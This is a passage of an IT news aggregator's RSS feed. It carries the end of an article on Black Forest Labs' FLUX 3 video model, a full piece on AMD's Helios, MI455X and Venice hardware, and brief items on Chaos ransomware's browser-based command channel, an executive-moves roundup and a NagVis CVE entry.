adoption</b></h2><p>BFL has published several benchmark comparisons, but they're qualified as preliminary — with full benchmark results and methodology to be published later during broader general availability. </p><p>In early head-to-head preference testing on 10-second, 720p text-to-video clips with audio, the company says FLUX 3 was preferred over Luma Ray 3.2 in 93% of comparisons, Runway Gen-4.5 in 77%, Grok Imagine Video in 69%, Kling v3 Pro in 60%, Happy Horse v1 in 59%, Happy Horse 1.1 in 57%, and both Seedance 2.0 and Google's Gemini Omni Flash in 52%.</p><p>One caveat travels with every one of those figures, and it comes from BFL itself. The chart carrying the results is labeled a "preliminary evaluation of an early FLUX 3 candidate" — meaning the numbers describe a pre-release checkpoint rather than the model now entering early access. That cuts both ways: the shipping model may perform better, but nothing published today measures what customers will actually call.</p><p>Luma Ray 3.2 and Runway Gen-4.5, where FLUX 3 posted 93% and 77%, are the softest comparisons on the list — established products, but not the models currently setting the pace in independent video rankings. Those are real wins, and they are the ones least likely to change an enterprise shortlist.</p><p>Seedance 2.0, at 52%, is a statistical coin flip against a model most Western enterprises cannot currently procure. ByteDance indefinitely postponed Seedance 2.0's international rollout after Netflix, Warner Bros., Disney, Paramount and Sony sent legal threats over alleged systematic copyright infringement, and that suspension remains in place. Tying a frozen product is neither a strong claim nor a damaging one.</p><p><a href="https://venturebeat.com/technology/googles-gemini-omni-flash-hits-the-api-turning-enterprise-video-production-into-a-conversation">Gemini Omni Flash</a>, also at 52%, matters much more. Omni is the closest large-platform analogue to what FLUX 3 is attempting — multimodal input, video and audio-aware creation, conversational editing — and by BFL's own measurement, the two are indistinguishable on 10-second text-to-video quality. </p><p>Google's advantage in that matchup is that Omni is generally available via Google's Gemini API for $0.10 per second of generated 720p video, or a 10-second clip for around.</p><p>One regional wrinkle matters for a German company's home market. Editing <i>uploaded</i> video is unavailable to Omni Flash users in the European Economic Area, Switzerland and the United Kingdom, though editing video the model itself generated is permitted. A European enterprise that wants to run its existing footage through a generative editing pass cannot currently do so on Omni Flash.</p><p>Here's a rough guide for enterprises considering which video models to rely upon: </p><table><tbody><tr><td><p><b>Model</b></p></td><td><p><b>Max single-generation duration</b></p></td><td><p><b>Max resolution</b></p></td><td><p><b>Key constraints</b></p></td><td><p><b>Price per 10-second clip (720p)</b></p></td><td><p><b>Price per 10-second clip (1080p)</b></p></td><td><p><b>Price per 10-second clip (4K)</b></p></td></tr><tr><td><p>FLUX 3 Video </p></td><td><p><b>20 seconds </b></p></td><td><p>Not stated; evaluations run at 720p </p></td><td><p>Early access; no published SLA or pricing </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td><td><p>Not announced </p></td></tr><tr><td><p>HappyHorse 1.1 </p></td><td><p>15 seconds </p></td><td><p>1080p </p></td><td><p>No 4K; closed weights </p></td><td><p>Not published (v1.0 reseller rate is ~$1.82) </p></td><td><p>Not published (v1.0 reseller rate is ~$3.12) </p></td><td><p>n/a </p></td></tr><tr><td><p>Veo 3.1 </p></td><td><p>Per-second billing </p></td><td><p><b>4K</b> </p></td><td><p><b>Supports clip extension; preview </b></p></td><td><p>$4.00 </p></td><td><p>$4.00 </p></td><td><p>$6.00 </p></td></tr><tr><td><p>Veo 3.1 Fast </p></td><td><p>Per-second billing </p></td><td><p><b>4K </b></p></td><td><p>Preview </p></td><td><p>$1.00 </p></td><td><p>$1.20 </p></td><td><p><b>$3.00 </b></p></td></tr><tr><td><p>Veo 3.1 Lite </p></td><td><p>Per-second billing </p></td><td><p>1080p </p></td><td><p>No 4K, no clip extension; preview </p></td><td><p><b>$0.50 </b></p></td><td><p><b>$0.80 </b></p></td><td><p>n/a </p></td></tr><tr><td><p>Gemini Omni Flash </p></td><td><p>10 seconds (3s minimum) </p></td><td><p>720p at 24 FPS </p></td><td><p>Preview abd no EU access</p></td><td><p>$1.00 </p></td><td><p>n/a </p></td><td><p>n/a </p></td></tr></tbody></table><h2><b>One architecture for media generation and physical action</b></h2><p>FLUX 3 builds on <a href="https://venturebeat.com/technology/black-forest-labs-new-self-flow-technique-makes-training-multimodal-ai">Self-Flow</a>, BFL's method for aligning multimodal understanding and generation within one architecture, publicized back in March 2026. </p><p>The company says it significantly scaled up compute and data to train across video, images and audio simultaneously, and that testing showed video generation and action prediction do not require separate foundations — the same architecture could be extended to action prediction without sacrificing what it learned from video.</p><p>"We place vision at the center of our approach because it is the most signal-rich medium of the physical world. Images convey structure, images and video teach spatial relationships, video teaches dynamics, and actions reveal causal relationships. But vision alone is not the complete picture," said Robin Rombach, co-founder and CEO of BFL, in a pre-release statement provided to VentureBeat. "True intelligence means perceiving the world: predicting how it will change, taking action, and learning from the results. Joint training within one unified architecture is what will get us there, because each training modality strengthens the others. Audio conveys timing, prosody, and physical events that elude vision. Language conveys goals, abstractions, and instructions that pixels cannot easily express."</p><p>He put the case more bluntly elsewhere in the announcement: "You can't cheat reality. A model that only learns images can only generate images. But the world is not made of still frames. It moves, sounds, changes, and responds."</p><p>BFL says FLUX 3 targets creative tooling, media, design, e-commerce and physical AI, supporting video generation with synchronized audio, precise image editing, product and material consistency across motion, multilingual generation and robotic action prediction. It is already being tested by Canva, Burda, Magnific (formerly Freepik), Krea and Picsart.</p><p>For creative software companies, the appeal is consolidation. A single foundation could potentially support storyboarding, image editing, product rendering, video variation and localization without repeatedly translating assets and instructions between disconnected models.</p><p>For robotics teams, the potential value is data efficiency. Models that already encode motion, object behavior and physical change may need less task-specific robot training than systems starting from raw demonstrations.</p><h2><b>What FLUX 3 Video can actually do</b></h2><p>The video tier is the most concretely specified part of the launch, and it settles a question that had been circulating as rumor: FLUX 3 generates clips of up to 20 seconds with audio in a single generation. </p><p>Every video output comes with native audio. For comparison, HappyHorse 1.0 tops out at 15 seconds of 1080p with synchronized audio — though BFL has not stated what resolution its 20-second clips run at, and its published evaluations were conducted at 720p. Still, a 20-second long clip from a single prompt is among the longest yet achieved, matching <a href="https://developers.openai.com/api/docs/guides/video-generation">OpenAI's discontinued Sora model.</a></p><p>The capability list BFL published covers:</p><ul><li><p>Text-to-video generation.</p></li><li><p>Image-to-video generation, either animating from a starting frame or using images as visual references.</p></li><li><p>Video-to-video generation from a reference clip, carrying elements such as a specific character into a new scene or context.</p></li><li><p>Generative video-audio continuation from existing video and audio input.</p></li><li><p>Keyframe-to-video generation for controlled transitions between defined moments.</p></li><li><p> Multilingual dialogue.</p></li><li><p>A broad range of visual styles and aspect ratios, from candid camcorder footage to animation and cinematics.</p></li><li><p>Typography generation and animated design.</p></li><li><p>Agentic chaining of individual clips into longer, multi-shot sequences.</p></li></ul><p>That last item is the one enterprise video teams should look at hardest. BFL claims the capabilities combine to produce sequences lasting several minutes, with visual references keeping characters consistent across scenes. If that holds up under production conditions, it addresses the constraint that has kept generative video out of most commercial pipelines: not clip quality, but continuity across shots.</p><p>It is also the capability where competition is most direct. HappyHorse 1.1's headline upgrade is R2V, or Reference-to-Video, which accepts multiple character reference images to hold identity stable across generated footage — the same problem, approached at the input layer rather than through agentic clip chaining. Alibaba also claims zero-drift lip sync and has specifically targeted the artifacts that mark commercial AI video as synthetic, including facial oiliness and over-sharpening. Character consistency is where this category is being contested, and both companies know it.</p><p>BFL says FLUX 3 Video is already particularly strong at human facial expressions, associating sounds with physical events, and multilingual output. On the image side, the company says preliminary evaluations conducted during midtraining show significant improvement over earlier FLUX versions in complex prompt handling and text generation, including high-accuracy text in multiple languages. It published no image benchmarks or win rates.</p><h2><b>FLUX-mimic tests whether video models can become robot models</b></h2><p>BFL is applying its unified-architecture thesis through FLUX-mimic, a video-action model built on FLUX 3 and developed with Swiss firm Mimic Robotics, one of the first partners to receive early access.</p><p>The technical blog describes two distinct routes to action prediction: integrating native action prediction directly into FLUX 3, scaling up the initial Self-Flow work; and using the pretrained video backbone as a dynamics-aware foundation from which specialized action models can be finetuned with limited task-specific data. FLUX-mimic is the second route — the FLUX 3 backbone combined with mimic's robot-learning and production-deployment expertise in dexterous manipulation.</p><p>FLUX-mimic is designed for general-purpose robotic manipulation: helping robots understand a visual scene, predict the consequences of an action, and adapt to new tasks with far less task-specific data. </p><p>BFL and Mimic Robotics say that depending on task difficulty, the model can be finetuned for a specific manipulation task with as little as 30 minutes of robot data, where prior approaches have required 30 or more hours.</p><p>"The hardest part of robotics is data," said Elvis Nava, CTO of Mimic Robotics, in a statement provided to VentureBeat. "Every new task normally means hours of a robot repeating itself. Because FLUX-mimic is built on top of frontier video models that already understand how the physical world behaves, it picks up a new task in minutes, not days. This way, we can leapfrog the current state of the art in robot learning."</p><p>BFL<!-- --> argues that a model trained only on images cannot understand a world that "moves, sounds, changes, and responds," and that physical understanding is what produces convincing generated footage. Google makes a nearly identical claim for Gemini Omni. </p><p>Its developer documentation cites "world knowledge" that combines "an understanding of physics" with Gemini's grasp of history, science and cultural context. Its marketing is blunter still: "Most AI models just predict the next pixel to build a narrative or an image. Gemini Omni is different," the company posted in June, crediting the model with "an intuitive understanding of forces like gravity, kinetic energy, and fluid dynamics for more realistic movements that follow real-world logic." </p><p>The practical consequence for enterprise buyers is that world-model language is not a differentiator. Two of the three leading video systems now market physical understanding as their central advantage, and neither has published a benchmark that measures it. </p><p>There is no standard test for whether generated water behaves like water, whether a dropped object falls at a plausible rate, or whether a sound arrives when the impact does. Human preference ratings capture some of it indirectly. Nothing else on offer captures it at all.</p><h2><b>Open weights helped make FLUX an industry standard</b></h2><p>BFL<a href="https://venturebeat.com/technology/s"> officially launched in summer 2024 </a>and gained a name for itself in the AI industry in the intervening two years for its commitment to open sourcing high-quality AI image models beloved by developers, creatives, and enterprises. </p><p>The company's founders, including Rombach, Andreas Blattmann and Patrick Esser, previously helped create VQGAN, latent diffusion and <a href="https://venturebeat.com/business/stable-diffusion-creators-launch-black-forest-labs-secure-31m-for-flux-1-ai-image-generator">Stable Diffusion</a>, the latter the open source technology that kicked off broad AI generation capabilities for the masses and currently used by many AI image generators and companies. </p><p>That reach translated into commercial distribution. FLUX models now power generative features inside Adobe Photoshop, Picsart and Nous Research's Hermes Agent, among other platforms, and the company cites film director Martin Scorsese among professional users.</p><p><a href="https://www.wired.com/story/black-forest-labs-ai-image-generation/"><i>Wired</i></a> magazine described Black Forest Labs as a relatively small company that nevertheless became a leading competitor to Silicon Valley's largest AI labs, with FLUX models ranking near the top of image benchmarks and becoming some of the most downloaded text-to-image models on AI code sharing community Hugging Face. The company says it now runs a 100-person team across Freiburg and San Francisco.</p><p>FLUX.1 Dev, FLUX.1 Kontext Dev, FLUX.1 Fill Dev and related control models, <a href="https://venturebeat.com/business/black-forest-labs-releases-flux-1-1-pro-and-an-api">released shortly after the firm's launch,</a>  gave researchers and creative-tool developers access to downloadable checkpoints, local inference and integrations with frameworks including Hugging Face Diffusers and ComfyUI. FLUX.1 Kontext Dev, for example, was released as an open-weight model for research and noncommercial use, with generated outputs permitted for commercial purposes under the applicable license.</p><p>The company continued that pattern with <a href="https://venturebeat.com/ai/black-forest-labs-launches-flux-2-ai-image-models-to-challenge-nano-banana">FLUX.2 Dev</a> in late 2025, a 32-billion-parameter open-weight model combining generation and multi-reference editing. Black Forest Labs called it the strongest open-weight image generation and editing model available at launch and released weights, reference inference code and optimized implementations for consumer Nvidia GPUs.</p><p>FLUX 3 Dev raises the stakes on that evaluation. Previous Dev releases were image models. This one is described as a multimodal backbone spanning video, audio, image and action prediction — meaning a single license will govern whether a company can locally deploy a model that touches both content production and physical machinery.  BFL hasn't yet shared information about its license, the parameter count, quantizations or hardware requirements.</p><p>The company frames open weights as an enterprise feature rather than a community gesture, arguing they enable secure, low-latency local deployment for applications like robotic control systems and let teams adapt FLUX 3 to their own data, products and workflows. </p><p>The financial backing behind FLUX 3 is worth noting alongside the technical claims. Black Forest Labs is valued at $3.25 billion and has raised more than $450 million from investors including a16z, AMP, Salesforce Ventures, Nvidia, General Catalyst, Adobe Ventures, Figma Ventures, Canva and Deutsche Telekom's T.Capital.</p>]]></content:encoded>
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<title><![CDATA[AMD raises the AI stakes with Helios, Venice and robotics]]></title>
<description><![CDATA[AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scal...]]></description>
<link>https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690010/it-nachrichten/amd-raises-the-ai-stakes-with-helios-venice-and-robotics/</guid>
<pubDate>Thu, 23 Jul 2026 20:48:09 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">AMD executives took to the stage at its Advancing AI 2026 event in San Francisco today to detail the company’s next generation of AI infrastructure solutions, from Instinct MI455X AI accelerator GPUs and 6th Gen EPYC “Venice” CPUs, to Pensando networking, ROCm.AI software and its Helios rack-scale platform that ties it all together.</p>



<p class="wp-block-paragraph">AMD has been working towards rack-scale AI system solutions for years. Its ZT Systems acquisition last year added valuable engineering talent and intellectual property that is now finally bearing the real fruits. Its <a href="https://www.amd.com/en/products/rackscale-solutions/helios.html" target="_blank" rel="noreferrer noopener">Helios AI platform</a> is a major platform evolution for AMD, with shipments scheduled to begin in the second half of this year (which is here and now).</p>



<p class="wp-block-paragraph">The announcements at Advancing AI show how the company has engineered its AI platform solutions for large reasoning models, sustained inference and agentic workflows. These workloads pressure memory capacity, data movement, networking and CPU orchestration. AMD’s approach is to keep as much data close to the compute engines as possible and move it more efficiently throughout the system, but there’s deeper nuance here that’s obvious versus AMD’s chief rival, NVIDIA.  </p>



<h2 class="wp-block-heading">AMD’s MI455X targets the AI memory wall</h2>



<p class="wp-block-paragraph">The Instinct MI455X GPU is the compute engine that fuels the Helios rack, and the first GPU based on AMD’s new CDNA 5 architecture. Built with a modular mix of 2nm and 3nm chiplets, it carries 432GB of HBM4 and 23.3TB/s of peak memory bandwidth.</p>



<p class="wp-block-paragraph">Compared to AMD’s current MI355X, <a href="https://hothardware.com/news/instinct-mi400-challenge-vera-rubin" target="_blank" rel="noreferrer noopener">the MI455X offers</a> 1.5 times the memory capacity, up to 2.9 times the peak memory bandwidth and up to four times the peak matrix performance with MXFP4 and MXFP8 data types, which are lower-precision numerical formats designed to accelerate AI processing while reducing memory demands. With MXFP6 (6-bit floating point), performance is rated at up to twice that of MI355X.</p>



<p class="wp-block-paragraph">AMD also shared some actual, measured internal results using production silicon. The company claims MI455X delivers 3.8 times higher FP8 decode performance, 3.5 times more measured FP4 compute performance and between 2.5 and 3.5 times more networking bandwidth than MI355X, depending on the transfer path tested. Those figures provide more context than just numerical specifications, though they remain AMD-provided comparisons that will need independent validation.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-generational-leap.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Instinct chart showing generational leap in performance" class="wp-image-4200600" width="1024" height="547" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">The architectural choices behind the numbers are important. Reasoning models and long context windows require sizeable KV caches for maintaining AI attention states, while mixture-of-experts models frequently move large amounts of data across accelerators. MI455X should let more model data, activation states and cache remain local. New dedicated IP in hardware can transfer data while the GPU continues processing, and expanded cache and multicast capabilities are designed to reduce redundant data movement to further improve efficiency.</p>



<p class="wp-block-paragraph">The aforementioned lower-precision formats can also raise throughput and reduce memory use, but model developers still have to determine where they can be applied without unacceptable accuracy loss.</p>



<h2 class="wp-block-heading">AMD’s Helios rack takes aim at Vera Rubin</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-helios-rack.jpg?quality=50&amp;strip=all&amp;w=1024" alt="AMD Helios rack" class="wp-image-4200601" width="1024" height="626" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Dave Altavilla</p></div>



<p class="wp-block-paragraph">Helios is AMD’s primary rack-scale competitor to NVIDIA’s Vera Rubin platform. Each liquid-cooled rack combines 72 MI455X GPUs, 18 single-socket Venice host CPUs and Pensando networking technologies.</p>



<p class="wp-block-paragraph">In its most complete, premium configuration, AMD rates Helios for 2.9 exaflops of low-precision AI compute, with 31TB of aggregate HBM4 capacity, 1.7PB/s of memory bandwidth, 260TB/s of bidirectional scale-up bandwidth and 43TB/s of scale-out bandwidth.</p>



<p class="wp-block-paragraph">These are formidable figures, but they are technical specifications rather than actual application benchmarks. The more consequential development is AMD’s move from collections of eight-GPU servers to a 72-GPU shared-memory domain. Models too large for one node can operate across the rack without treating every exchange as a scale-out networking transaction, which benefits large-model inference as well as training.</p>



<p class="wp-block-paragraph">AMD uses UALink over Ethernet, or UALoE, for an open standard scale-up fabric. Each MI455X provides 3.6TB/s of bidirectional scale-up bandwidth, while the complete rack delivers all-to-all connectivity through a single switch layer. AMD also claims six times more scale-out bandwidth per GPU than MI355X when MI455X is configured with three Pensando Vulcano 800 AI NICs.</p>



<p class="wp-block-paragraph">While open standards give cloud providers more control over suppliers and system design, AMD and its partners now have to prove those components can deliver the predictable performance, reliability and deployment experience customers expect from a tightly controlled, more vertically integrated platform.</p>



<p class="wp-block-paragraph">Finally, AMD designed Helios with automatic rerouting around failed links, virtual rack partitions, tray-level serviceability and rack-wide power, cooling and health monitoring. Major hyperscalers and potentially large-scale enterprise customers will likely key in on these capabilities, which can affect the availability, total cost and consistency of the AI services they consume.</p>



<h2 class="wp-block-heading">Kind of like cowbell, AMD Venice gives agentic AI more CPU</h2>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/amd-epyc-venice-cpus.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Chart showing AMD EPYC CPU performance" class="wp-image-4200603" width="1024" height="515" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">AMD</p></div>



<p class="wp-block-paragraph">AMD’s agentic CPU messaging regarding its upcoming Venice-based EPYC processors is mostly marketing speak, but the underlying requirement is very real. An AI agent can invoke retrieval, databases, security checks, code execution and other tools before a GPU generates a response. Running many agents concurrently increases the amount of conventional compute requirements surrounding the accelerators.</p>



<p class="wp-block-paragraph">Venice scales to 256 Zen 6 cores with support for 512 threads, 16 memory channels, up to 1GB of L3 cache per socket, along with PCIe 6.0 and CXL 3.1 connectivity. AMD is also offering several Venice configurations for other applications, including general-purpose servers, high-frequency workloads, GPU hosts and high-density CPU sandbox systems used to execute agent tools.</p>



<p class="wp-block-paragraph">Treating the CPU solely as a GPU host understates its role. Gateways, tokenization, vector search, databases and short-lived code execution stress different mixes of per-core performance, thread count, memory bandwidth and I/O. Specifically, AMD’s internal testing shows Venice significantly outperforming its current EPYC 9965 Turin CPU across five parts of the agentic AI pipeline, including gateway processing, context assembly, vector search, enterprise applications and short-lived tool execution. Individual gains vary by workload, but AMD details the overall generational improvement at up to a 1.7 times lift. As with the MI455X figures though, these comparisons come from AMD and will require independent validation.</p>



<h2 class="wp-block-heading">Pensando networking and ROCm software advance</h2>



<p class="wp-block-paragraph">Keeping GPUs fed with data and coordinating traffic across racks directly affects utilization and operating costs. In fact, GPU utilization is a pretty sad state of affairs currently for some of the major frontier model providers.</p>



<p class="wp-block-paragraph">As such, Pensando networking has become central to AMD’s roadmap. Helios can connect each MI455X to as many as three 800Gbps Vulcano AI NICs, while Salina DPUs handle front-end networking and infrastructure services.</p>



<p class="wp-block-paragraph">On the software side, which is an equally critical component, AMD also introduced ROCm.AI, an AI-assisted development layer due to arrive in August. It includes reusable skills for coding agents, simplified management and Hyperloom, which can profile workloads, tune serving configurations, modify kernels and validate results.</p>



<p class="wp-block-paragraph">These tools address two persistent AMD challenges: developer efficiency and ease of use, and software tuning. Automated optimization still has to produce repeatable gains without creating hard-to-maintain code, however. And while ROCm has progressed significantly over the last few years, NVIDIA’s CUDA retains an advantage in maturity, tooling and developer familiarity.</p>



<h2 class="wp-block-heading">Customer commitments underscore rack-scale confidence</h2>



<p class="wp-block-paragraph">AMD now has commitments that give its MI450 generation and Helios considerably more weight. Meta and OpenAI have announced multi-generation agreements composed of up to 6GW of AMD compute capacity, with initial 1GW deployments planned for the second half of 2026.</p>



<p class="wp-block-paragraph">Oracle plans a 50,000-GPU public cloud cluster beginning in the third quarter, while Microsoft will deploy Helios for Azure AI inference. Finally, just before the AMD event, <a href="https://ir.amd.com/news-events/press-releases/detail/1292/amd-and-anthropic-announce-strategic-partnership-to-deploy-up-to-2-gigawatts-of-amd-instinct-mi450-series-gpus" target="_blank" rel="noreferrer noopener">Anthropic announced</a> a strategic partnership for up to 2 Gigawatts of AMD-fueled AI compute, with its first gigawatt expected online in the first half of 2027.</p>



<p class="wp-block-paragraph">Commitments of this scale reflect confidence in more than just MI455X performance. These customers are evaluating the complete architecture, including Venice CPUs, Pensando networking, ROCm software, rack integration, serviceability and AMD’s ability to deliver and execute across multiple product generations.</p>



<p class="wp-block-paragraph">There is some financial alignment behind the agreements as well. AMD issued OpenAI performance-based warrants and committed to investing up to $5 billion in Anthropic. That context matters when evaluating these deals as market validation, but these planned deployments are substantial nonetheless and put Helios on a much stronger foundation as it begins shipping.</p>



<h2 class="wp-block-heading">AMD expands its robotics and embedded foundation</h2>



<p class="wp-block-paragraph">AMD also expanded its physical AI portfolio, building on credible traction from its Xilinx-derived Kria adaptive system-on-modules and embedded technologies that are already powering robotics, machine vision and industrial automation applications.</p>



<p class="wp-block-paragraph">The new Ryzen AI Embedded X100 combines up to 16 Zen 5 CPU cores, integrated Radeon graphics, a second-generation NPU and as much as 128GB of unified LPDDR5X memory shared across its compute engines. To me this looks a lot like a repackaging and optimization of the company’s Strix Halo platform, but with specific optimizations for the embedded space. Regardless, AMD is pairing X100 with the Kria AI Robotics Developer Platform, which includes a System Module or SOM, and a new Robotics Partner Network spanning hardware, software and platform providers.</p>



<p class="wp-block-paragraph">Samples began shipping in June, with full production expected in the fourth quarter. This broader objective is to give developers a path across AMD x86 CPUs, GPUs, NPUs and FPGAs for real-time autonomous systems, rather than requiring them to assemble those hardware engines and software components independently.</p>



<h2 class="wp-block-heading">Execution for AMD is now the test</h2>



<p class="wp-block-paragraph">AMD has assembled a credible platform for the burgeoning agentic AI market that’s blowing up currently with no signs of stopping. MI455X addresses memory and data movement, Venice handles dense agentic CPU workloads, Pensando networking connects global system resources, and ROCm.AI addresses software complexity. Finally, Helios assembles these components into a true competitive threat for NVIDIA’s latest Vera Rubin platform.</p>



<p class="wp-block-paragraph">AMD’s open architecture may appeal to customers seeking supplier choice, but openness must also translate into reliable deployments, competitive total cost and software that does not require a significant rip-up. NVIDIA enters this cycle with a stronger ecosystem and far more rack-scale deployment experience. The true test will be how easily and reliably customers can integrate, operate and maintain these AMD solutions at scale.</p>



<p class="wp-block-paragraph">As it stands, AMD now has major customers and a clearly defined architecture with systems engineering expertise behind it. Delivering Helios on schedule and showing that its performance claims translate into a real production workload throughput advantage and total cost of ownership gains will determine how much the competitive gap narrows. And of course, this is in a market that is clamoring for ever-more compute resources with a seemingly insatiable demand for AI services and capacity. That’s an environment for big iron success. Now AMD just has to deliver optimized, turnkey AI platforms. This is far easier said than done, but time will soon tell as deployments take shape this year.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.computerworld.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel]]></title>
<description><![CDATA[Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…
Read more →
The post Chaos Ransom...]]></description>
<link>https://tsecurity.de/de/3690004/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3690004/it-security-nachrichten/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/</guid>
<pubDate>Thu, 23 Jul 2026 20:38:28 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Chaos ransomware has introduced a new way to hide attacker activity inside everyday web browsing. The group’s msaRAT remote-access tool turns Chrome or Microsoft Edge into a covert channel for receiving commands and moving data. This approach mirrors the stealth…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/chaos-ransomware-turns-your-chrome-and-edge-web-browser-into-an-invisible-malware-command-channel/">Chaos Ransomware Turns Your Chrome and Edge Web Browser Into an Invisible Malware Command Channel</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[Tech Moves: Agility Robotics gets CFO; Microsoft security departure; Zap’s legal officer; new KEXP CTO]]></title>
<description><![CDATA[Agility Robotics names a CFO ahead of its plans to go public, moving its current CFO/COO into an operations-focused role. Microsoft loses another security leader while Zap Energy gets a chief legal officer.  Read More]]></description>
<link>https://tsecurity.de/de/3689917/it-nachrichten/tech-moves-agility-robotics-gets-cfo-microsoft-security-departure-zaps-legal-officer-new-kexp-cto/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689917/it-nachrichten/tech-moves-agility-robotics-gets-cfo-microsoft-security-departure-zaps-legal-officer-new-kexp-cto/</guid>
<pubDate>Thu, 23 Jul 2026 20:06:06 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<img fetchpriority="high" loading="eager" width="1260" height="840" src="https://cdn.geekwire.com/wp-content/uploads/2026/07/Michael-Beer-1260x840.png" class="webfeedsFeaturedVisual wp-post-image" alt="" decoding="async" srcset="https://cdn.geekwire.com/wp-content/uploads/2026/07/Michael-Beer-1260x840.png 1260w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Michael-Beer-768x512.png 768w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Michael-Beer-1536x1024.png 1536w, https://cdn.geekwire.com/wp-content/uploads/2026/07/Michael-Beer.png 2000w" sizes="(max-width: 1260px) 100vw, 1260px"><br>Agility Robotics names a CFO ahead of its plans to go public, moving its current CFO/COO into an operations-focused role. Microsoft loses another security leader while Zap Energy gets a chief legal officer.  <a href="https://www.geekwire.com/2026/tech-moves-agility-robotics-gets-cfo-microsoft-security-departure-zaps-legal-officer-new-kexp-cto/">Read More</a>]]></content:encoded>
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<title><![CDATA[CVE-2022-3979 | NagVis up to 1.9.33 CoreLogonMultisite.php checkAuthCookie hash type conversion (EUVD-2022-43308 / Nessus ID 235043)]]></title>
<description><![CDATA[A vulnerability classified as problematic was found in NagVis up to 1.9.33. This affects the function checkAuthCookie of the file share/server/core/classes/CoreLogonMultisite.php. Executing a manipulation of the argument hash can lead to incorrect type conversion.

This vulnerability is handled a...]]></description>
<link>https://tsecurity.de/de/3689876/sicherheitsluecken/cve-2022-3979-nagvis-up-to-1933-corelogonmultisitephp-checkauthcookie-hash-type-conversion-euvd-2022-43308-nessus-id-235043/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689876/sicherheitsluecken/cve-2022-3979-nagvis-up-to-1933-corelogonmultisitephp-checkauthcookie-hash-type-conversion-euvd-2022-43308-nessus-id-235043/</guid>
<pubDate>Thu, 23 Jul 2026 19:41:12 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">problematic</a> was found in <a href="https://vuldb.com/product/nagvis">NagVis up to 1.9.33</a>. This affects the function <code>checkAuthCookie</code> of the file <em>share/server/core/classes/CoreLogonMultisite.php</em>. Executing a manipulation of the argument <em>hash</em> can lead to incorrect type conversion.

This vulnerability is handled as <a href="https://vuldb.com/cve/CVE-2022-3979">CVE-2022-3979</a>. The attack can be executed remotely. There is not any exploit available.

Upgrading the affected component is advised.]]></content:encoded>
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<title><![CDATA[Agentic orchestration: Enterprise AI organizations have a deployment problem, not a platform problem — and most are calling chatbots agents]]></title>
<description><![CDATA[Across 101 enterprises, agent orchestration is consolidating onto model-provider platforms — Anthropic’s Claude leads by a wide margin — chosen for the gravity of the underlying model and judged on reliable multi-step execution. But the ambition runs well ahead of the reality: most deployed “agen...]]></description>
<link>https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689830/it-nachrichten/agentic-orchestration-enterprise-ai-organizations-have-a-deployment-problem-not-a-platform-problem-and-most-are-calling-chatbots-agents/</guid>
<pubDate>Thu, 23 Jul 2026 19:19:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
